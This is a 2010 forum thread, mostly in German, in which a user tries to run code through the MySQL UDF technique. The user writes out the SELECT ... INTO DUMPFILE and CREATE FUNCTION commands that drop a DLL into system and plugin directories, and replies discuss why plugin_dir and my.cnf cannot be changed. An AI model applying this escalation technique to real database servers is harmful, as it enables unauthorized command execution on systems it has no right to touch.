[MYSQL] Change value of "plugin_dir" variable

Dieses Thema im Forum "Sicherheit & Datenschutz" wurde erstellt von djodjodjodjo, 6. Januar 2010 .

  1. 6. Januar 2010
    Hi all, i'll type in english because i'm french so sorry for my errors.

    I have installed locally a mysql server version 5.1.39 and i'd like to use udf's to create a function like this:

    i create tables etc and put code into them (like raptor's or killaloop's code) and then i dump this code into a dll like this

    Code:
    SELECT * FROM table INTO DUMPFILE 'c:/windows/system32/dir.dll';
    then i do

    Code:
    CREATE FUNCTION dir RETURNS integer SONAME 'dir.dll';
    but i always get

    Code:
    ERROR 1126 (HY000) at line 78: Can't open shared library 'dir.dll' (errno: 0 )
    what is not surprising because

    Code:
    If you encounter this error, it means that MySQL cannot find the library you are referring to in the SONAME clause of the CREATE FUNCTION statement. You may have made a typo in your statement, or the MySQL may be looking in another location for the libarary than you might think it does. Verify that you typed the correct location. For MySQL 5.1.18 and earlier, ensure that the dll is copied to either the bin and/or lib directory beneath the MySQL installation directory. For MySQL 5.1.19 and beyond, ensure that the file is located in the plugin_dir.
    My version requires the dll to be copied to plugin_dir so i typed

    Code:
    mysql> show variables like "%plu%";
    +---------------+---------------------+
    | Variable_name | Value |
    +---------------+---------------------+
    | plugin_dir | C:\MySQL\lib/plugin |
    +---------------+---------------------+
    AND i tried a lot of things:

    Code:
    SELECT * FROM table INTO DUMPFILE 'c:/windows/system32/dir.dll';
    SELECT * FROM table INTO DUMPFILE 'c:/mySql/bin/dir.dll';
    SELECT * FROM table INTO DUMPFILE 'c:/mySql/lib/dir.dll';
    SELECT * FROM table INTO DUMPFILE 'c:/mySql/share/dir.dll';
    SELECT * FROM table INTO DUMPFILE 'c:/mySql/lib/plugin/dir.dll';
    SELECT * FROM table INTO DUMPFILE 'plugin_dir';
    SELECT * FROM table INTO DUMPFILE 'c:/mySQL/lib/plugin/dir.dll';
    ERROR 1 (HY000): Can't create/write to file 'c:\mySQL\lib\plugin\dir.dll' (Errcode: 2)
    SELECT * FROM table INTO DUMPFILE 'c:/mySQL/lib\plugin/dir.dll';
    ERROR 1 (HY000): Can't create/write to file 'c:\mySQL\libplugin\dir.dll' (Errcode: 2)
    SELECT * FROM table INTO DUMPFILE 'c:/mySQL/lib//plugin/dir.dll';
    ERROR 1 (HY000): Can't create/write to file 'c:\mySQL\lib\plugin\dir.dll' (Errcode: 2)
    Then still
    Code:
    ERROR 1126 (HY000) at line 78: Can't open shared library 'dir.dll' (errno: 0 )
    I had another idea, if i couldn't copy to this dir, then i had to change the value of this variable to another path but i got error
    Code:
    'plugin_dir' is a read only variable

    Sooo, anyone knows if it's possible to do something without changing mysql version, without patching, and only having root access to the mysql server (no tse, no ssh, nothing else than mysql plz 'lol')

    Thanks in advance
     
  2. 9. Januar 2010
    AW: [MYSQL] Change value of "plugin_dir" variable

    I have tried a lot of things for solving that problem. But i think thats not possible with the mysql possiblities. Some exploits could make it possible.

    (Well, my english isn't the best )
     
  3. 9. Januar 2010
    AW: [MYSQL] Change value of "plugin_dir" variable

    plugin_dir is a System Variable:
    MySQL :: MySQL 5.1 Reference Manual :: 5.1.4 Server System Variables

    You have to set it either via command-line or in my.cnf. So no way to change with a sql statement.
     
  4. 9. Januar 2010
    AW: [MYSQL] Change value of "plugin_dir" variable

    So, it could be set via FILE ??

    Then you habe proably wait for a reboot or something like that.


    -----

    Würde das so gehn, wie oben beschrieben? Natürlich vorausgesetzt man kennt den rest der Datei. Oder ist die irgendwie schreibtgeschützt etc.?
     
  5. 9. Januar 2010
    AW: [MYSQL] Change value of "plugin_dir" variable

    pyro sagt doch, das es nicht über nen SQL Statement geht oder wie möchtest du die Datei ändern?

    Du fragst sicher wegen der Reverse Methode oder?
    Und wg. Rest der Datei. Ich glaube, man kann se mit "load_file" auslesen, wenn du weißt, in welchem Ordner die my.cnf liegt.

    Wenn ich falsche liege, bitte das übliche geflame Alex² ^^

    so long
    pampers
     
  6. 9. Januar 2010
    AW: [MYSQL] Change value of "plugin_dir" variable

    Ich weiß nicht wies unter Windows ist, aber unter Linux hat man auf alle Fälle keine Rechte an den Konfigurationsdateien rumzuspielen. Die sind alle nur für root zugänglich und MySQL droppt die Privilegien zum mysql-user, nachdem es initialisiert wurde. Außerdem müsste man, wie du gesagt hast, den Server neu starten.

    edit: Mit dem "SQL-Statement" meinte ich, dass es nicht möglich ist die Variable via SET zu ändern.
     
  7. 9. Januar 2010
    AW: [MYSQL] Change value of "plugin_dir" variable


    Ich teste das mal lokal wie das hier mit den rechten ist, dass es unter linux nicht geht, war mir fast klar

    Es scheitert ja sowieso an dieser stelle:

    Da die my.ini bzw my.cnf schon existiert. Das einzige was man machen kann ist ne datei daneben zu legen. Wie gesagt, ich hatte schon ne Menge probiert, aber ohne weiteres geht das nicht. Haben wir unserem englischen freund ja auch schon mitgeteilt :lol:

    *flame*
    *flame*
     
  8. 10. Januar 2010
    AW: [MYSQL] Change value of "plugin_dir" variable

    Hi all, thanks for your answers even if i don't understand german.

    So, can we write into my.cnf or my.ini and then wait for a reboot? Has someone tested?

    Thanks
     
  9. 10. Januar 2010
    AW: [MYSQL] Change value of "plugin_dir" variable

    No, we cant. We're not able to write in existing files with MYSQL.
     
  10. Video Script

    Videos zum Themenbereich

    * gefundene Videos auf YouTube, anhand der Überschrift.